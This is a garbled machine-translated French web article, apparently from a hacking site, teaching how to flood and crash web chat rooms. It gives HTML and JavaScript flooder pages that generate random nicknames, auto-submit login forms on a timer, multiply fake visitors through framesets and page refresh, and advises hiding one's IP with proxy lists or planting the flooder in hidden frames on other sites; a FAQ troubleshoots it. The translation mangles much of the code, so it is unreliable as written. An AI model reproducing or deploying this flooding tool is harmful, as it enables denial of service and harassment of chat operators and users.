This page has been robot translated, sorry for typos if any. Original content here.

Anti-chat ou pseudo partie 1

Continuer >>>


Toujours sur le thème de la FA, nous avons décidé d'écrire un autre article, qui correspond maintenant exactement à son titre. Attention: utilisez-le exclusivement pour lutter contre les administrateurs "givrés" qui, par manque d’inaction ou pour montrer leurs capacités, sont exclus du chat pour quelque raison que ce soit, même sans ce dernier. N'utilisez pas cet outil dans les salles de discussion, où ils vous empêchent de communiquer normalement, car vous ne laisserez personne parler , car un nombre impressionnant de "personnes" différentes entreront dans le chat et il y en aura tellement qu'il sera impossible d'exprimer dans le chat ... En d'autres termes, il s'agit de "Nick Flooding" ou de remplir le chat avec des visiteurs inexistants.

Enregistrez la page de démarrage sur le disque.
Pour le mettre en œuvre, vous aurez besoin d’un chat avec un identifiant sans inscription et aussi un peu de connaissance du langage HTML (du moins, de quoi il s’agit). Enregistrez la page de démarrage du chat, il se trouve à l’endroit où il est écrit "Entrez votre pseudo"

Code comme ça

<html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x" > - le chemin où les données sont envoyées
Entrez votre pseudo: <type d'entrée = nom du texte = Nick > - Le pseudo est entré ici
<INPUT name = type de couleur = valeur cachée = rouge> - paint
<INPUT type = submit value = "Start !!!" > - bouton

..................... </ html> </ body>

Et voici à quoi cela ressemble dans le navigateur: Entrez votre pseudo

Si vous avez une page de démarrage chargée sous forme de cadres, c’est-à-dire Vous pouvez déjà voir les messages, le bas indique "Entrez votre pseudo" (généralement le cadre le plus bas), vous devez cliquer avec le bouton droit de la souris dessus (ci-dessous) et également sélectionner "Afficher en html". Vous verrez également que dans le cas principal, le code risque de devenir plus compliqué.

si vous savez comment utiliser la discussion à partir du disque également dans cette discussion, le code de la trame inférieure, après la première phrase, commence à avoir les éléments suivants:

<html> <body> ......................

<Action FORM = / cgi-bin / chat / login.cgi method = post name = "chat_x" > - le chemin où les données sont envoyées
<type d'entrée = nom caché = valeur Nick = votre pseudo> - pseudo (il ne peut pas être vu)
<Nom de l'entrée = couleur type = valeur cachée = rouge> - couleur
Entrez la phrase <TYPE D'ENTRÉE = TEXTE nom = dire taille = "24"> - le champ de saisie de phrase
<INPUT type = submit value = "Say !!!" >

..................... </ html> </ body>

Si ce chat se trouve sur http://www.domen.ru, alors dans la ligne <action FORM = =cgi-bin/chat/login.cgi = post name = " chat_x ">, nous prescrivons également cette adresse: <action FORM = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> maintenant nous courons ce fichier, nous en sortons aussi dans le chat, name = " chat_x " peut être absent, alors que temps imparti pour l'ajouter vous-même. Au lieu de chat_x, il peut également être appelé par l'autre. Si vous parvenez à entrer dans le chat à partir de ce fichier, passez à l'élément suivant.

La première astuce: générer un "Chat Visiteurs"

Si nous utilisons un seul surnom pour nos besoins, il ne sera pas étiré de plus de 2-3 phrases ... sera jeté. Il est donc nécessaire que le pseudo prkticheski soit toujours différent. Le script Java nous y aidera (vous n’avez pas besoin de le savoir, remplacez simplement vos chiffres ).

Un exemple est autorisé à voir en cliquant sur le bouton:


Explication: L'objet mathématique Math: Math.random () génère un nombre compris entre 0 et 1, puis ce nombre est arrondi à l'aide de Math.floor () et doit être multiplié par 10 par exemple, tandis que le nombre compris entre 0 et 9, si vous multipliez par 100, puis jusqu'à 99, si vous multipliez par 1000, puis jusqu'à 999 également. c'est-à-dire la longueur du nombre résultant est inférieure ou égale au nombre de zéros, y compris le nombre par lequel il a été multiplié ... la crêpe était déjà confuse Souriez heureux )) Dans l'exemple (voir ci-dessous), ce nombre est 100000000 causant que nous obtenons un nombre aléatoire, ce sera un surnom ...
Pour que ce numéro tienne dans la forme d’un surnom, placez-le dans la page autoload, c.-à-d. dans la balise <body> plus tard, il deviendra: <body onload = "document. chat_x . nick .value = (Math.floor (Math.random () * 1000000)) "> s'occupe du nom du formulaire (voir exemple de code html ci-dessus, il est surligné en jaune) pour qu’un nombre aléatoire puisse s’inscrire dans la forme désirée dans le champ souhaité.

Autre caractéristique: nous envoyons des "visiteurs" au chat.

<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x . Soumettre ())", 1000);
}
</ script>

Ce script est comme "clique" sur le bouton "Soumettre" et envoie les données du formulaire appelé chat_x. Dans le chat, ce bouton peut être appelé "Entrer dans le chat" ou "Dire". Il agit avec un délai de 1000 ms, afin que vous puissiez d'abord voir ce qui a été chargé (vous pouvez mettre plus tard 100), mais ensuite les données sont automatiquement envoyées, mais pour cela, il est nécessaire d’enregistrer la fonction de soumission (send ) au chargement automatique de notre page, c.-à-d. la balise <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit () "> charge maintenant un nombre aléatoire lorsque la page est chargée, puis elle est écrite dans le formulaire chat_x dans champ nick. également les données du formulaire chat_x envoyé au serveur, il s’avère que des personnes avec un pseudo sous la forme de plusieurs numéros sont entrées dans le chat.

Exemple d'inondateur de discussion non sophistiqué en code html

<HTML> <HEAD> <TITLE> Inondateur de conversation </ TITLE>

<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x . Soumettre ())", 1000);
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Value = (Math.floor (Math.random () * 1 000 000)); submit ()">

<Action FORM = http: //www.domen.ru/cgi-bin/chat/chat.cgi, méthode = post name = " chat_x ">
<nom d'entrée = type de couleur = valeur cachée = rouge>
Nick: <nom d'entrée = type de pseudo = texte>
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

La dernière ... inondation personnelle

Pour ce faire, mangez de trois façons.

1. Créez un fichier contenant une paire de cadres, dans un fichier, qui lors du chargement crée un pseudonyme, l'envoie également au chat. Appelons-le forma.htm, mais dans un autre cadre, tout autre fichier, dans mon exemple, il s'agit de yo.htm. Et enregistrez-le sous le nom frames.htm. Le code de ce document sera:

Contenu de frames.htm

<html> <head> <title> Chat Flooder </ title> </ head>
<frameset rows = "*, 100">
<frame name = "main" src = " forma.htm ">
<frame name = " send " src = " yo.htm ">
<noframes> <body>
<p> Cette page utilise des cadres. </ p>
</ body> </ noframes> </ frameset>

J'ai spécifiquement choisi le nom du cadre d' envoi , car les données lui seront envoyées, de sorte que le fichier forma.htm ne puisse pas être déchargé après l'envoi. Dans le code forma.htm, nous ajoutons les éléments suivants: dans la <FORM action = ..... tag = target = " send "> et dans la source de la ligne d'acte: <meta http-equiv = "Refresh" content = "1"> afin que le fichier lui-même mis à jour toutes les secondes et définissez Minuterie = 0. Ce qui est arrivé: le fichier est également mis à jour et envoyé au chat du visiteur, il est visible dans le cadre avec le nom SEND ie. à la place du fichier yo.htm, le chat apparaît, puis forma.htm est également mis à jour, il envoie à nouveau le nouveau front créé au chat, le chat récemment créé est également mis à jour à nouveau, le chat arrive ... à l’infini :) La fréquence de mise à jour est définie en fonction de la vitesse de connexion.

Un exemple du contenu du fichier forma.htm

<Html>
<HEAD> <TITLE> Inondateur de conversation </ TITLE>
<meta http-equiv = "Refresh" content = " 1 ">
<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x . Soumettre ())", 0 );
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Value = (Math.floor (Math.random () * 1 000 000)); submit ()">

<Action FORM = http: //www.domen.ru/cgi-bin/chat/chat.cgi, méthode = post name = " chat_x " target = " send ">
<nom d'entrée = type de couleur = valeur cachée = rouge>
Nick: <nom d'entrée = type de pseudo = texte>
<nom d'entrée = mot de passe type = valeur cachée = "">
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

2 voies. Premièrement, nous créons 4 fichiers dont le délai diffère uniquement par l'envoi d'un fichier image dans lequel il y aura par exemple 16 images (!), Dans les quatre premiers le premier fichier, Timer = setTimeout ("(document.chat_x.submit ())", 1000 ) Dans les quatre autres cadres, le deuxième fichier est chargé, dans lequel le retard est de 10 000. Dans le troisième quatre, 30 000. Bien, mais dans le quatrième, le quatrième fichier est chargé avec un retard de 40 000, c'est-à-dire. Toutes les 10 000 ms, 4 "personnes" entrent dans le chat et elles seront toutes différentes, bien qu'elles se présentent sous la forme de chiffres, mais cela ne sert à rien ... Si vous utilisez le formulaire de connexion dans le chat, ils iront tous dans le chat, mais si vous envoyez le message, il est permis de saisir un paragraphe de texte en tant que message, alors que chaque pseudonyme généré parlera ... Expérimentez, essayez d'autres options avec des cadres ...

Il ne reste plus qu'à cacher votre IP, pour cela vous pouvez utiliser A4Proxy , composer une grande liste de serveurs ....

3 voies. si vous mangez le site, il est autorisé à placer ces fichiers dessus, par exemple dans un cadre caché, alors que l'adresse IP sera presque toujours différente ...

Chat valim :)

Les bavardoirs utilisant le système de privates sont agencés de manière à rester constamment en contact avec l'ordinateur de l'utilisateur, c'est-à-dire ils génèrent constamment un flux de messages pour lui, ils ne contrôlent pas s'il s'est déconnecté de quelque manière que ce soit, même si la communauté d'utilisateurs en fait beaucoup, le chat ne peut pas le supporter aussi. Nous venions tout juste de discuter avec un maximum de 70 personnes, puis de cesser de fonctionner, même si la page de démarrage était également chargée ... Il n’était pas difficile de mettre un tel chat "manuellement", il suffisait de créer un fichier qui génère des pseudonymes, de les envoyer à chat, une minute après le lancement de ce fichier, dans le chat avec le 23ème existant, a ajouté environ 50 personnes :) ) il est également tombé (j'ai utilisé un fichier d'une variété de cadres, dans lequel il y avait aussi un fichier bla bla). Et il est à noter que nous étions au club mais il y a une vitesse impressionnante et des ordinateurs puissants :) . Cela peut également fonctionner avec un modem (par exemple, accepter de commencer tout de suite) ou l’essayer par vous-même d’abord, je ne sais pas ... N'oubliez pas que les journaux de discussion sont également consignés par les administrateurs, après quoi vous voudrez peut-être savoir ce que c'était. :) L'accès depuis l'adresse IP du club Internet "GeForce" à ce chat est fermé :)

FAQ: Si ça ne marche pas

FlooDer : Rien ne fonctionne pour moi :)
Essayez d’abord d’entrer dans le chat à partir du disque, c.-à-d. à partir du formulaire de saisie enregistré sur la vis, si tout a fonctionné, l'erreur dans le code "saturation de script" :) si cela n’a pas marché, lisez la suite ...

FlooDer : Je viens du disque, maintenant je ne peux plus envoyer de données :) que faire?
Vérifier l'exactitude du nom du formulaire (name = XxXxX)

FlooDer : Dans la <FORM action = http: //www.***.ru/chat.cgi, méthode = post> ligne commune no name = "XxXxX" , que faire?
Insérez vous-même: (name = "chat_x" target = "send") target- pour que les données soient envoyées au cadre d'envoi, cela se présente comme suit: <action FORM = http: //www.***.ru/chat.cgi method = post name = "chat_x" target = "send ">

FlooDer: Lorsque vous entrez dans le chat, vous devez saisir un mot de passe. Si tous les pseudonymes ne sont pas enregistrés, comment les saisir dans le code?
Dans le formulaire de saisie du mot de passe, il est nécessaire d’ajouter: value = "abrakadabra" puis tous les utilisateurs générés entreront ce mot de passe

Continuer >>>

Il ne serait pas superflu que vos amis découvrent cette information, partagez l'article avec eux!

Développer / Réduire Développer / Réduire la fenêtre de commentaires

Commentaires

En commentant, rappelez-vous que le contenu et le ton de votre message peuvent blesser les sentiments de personnes réelles, faire preuve de respect et de tolérance envers vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans des conditions de liberté d'expression et d'anonymat fournies par Internet non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
Maintenant tout le monde peut publier des articles.
Essayez-le d'abord!
Écrire un article
Vous aimez ça? Abonnez-vous aux flux RSS,
être le premier à recevoir des informations
à propos de tous les événements importants du pays et du monde.
Vous pouvez également soutenir shram.kiev.ua, cliquez sur: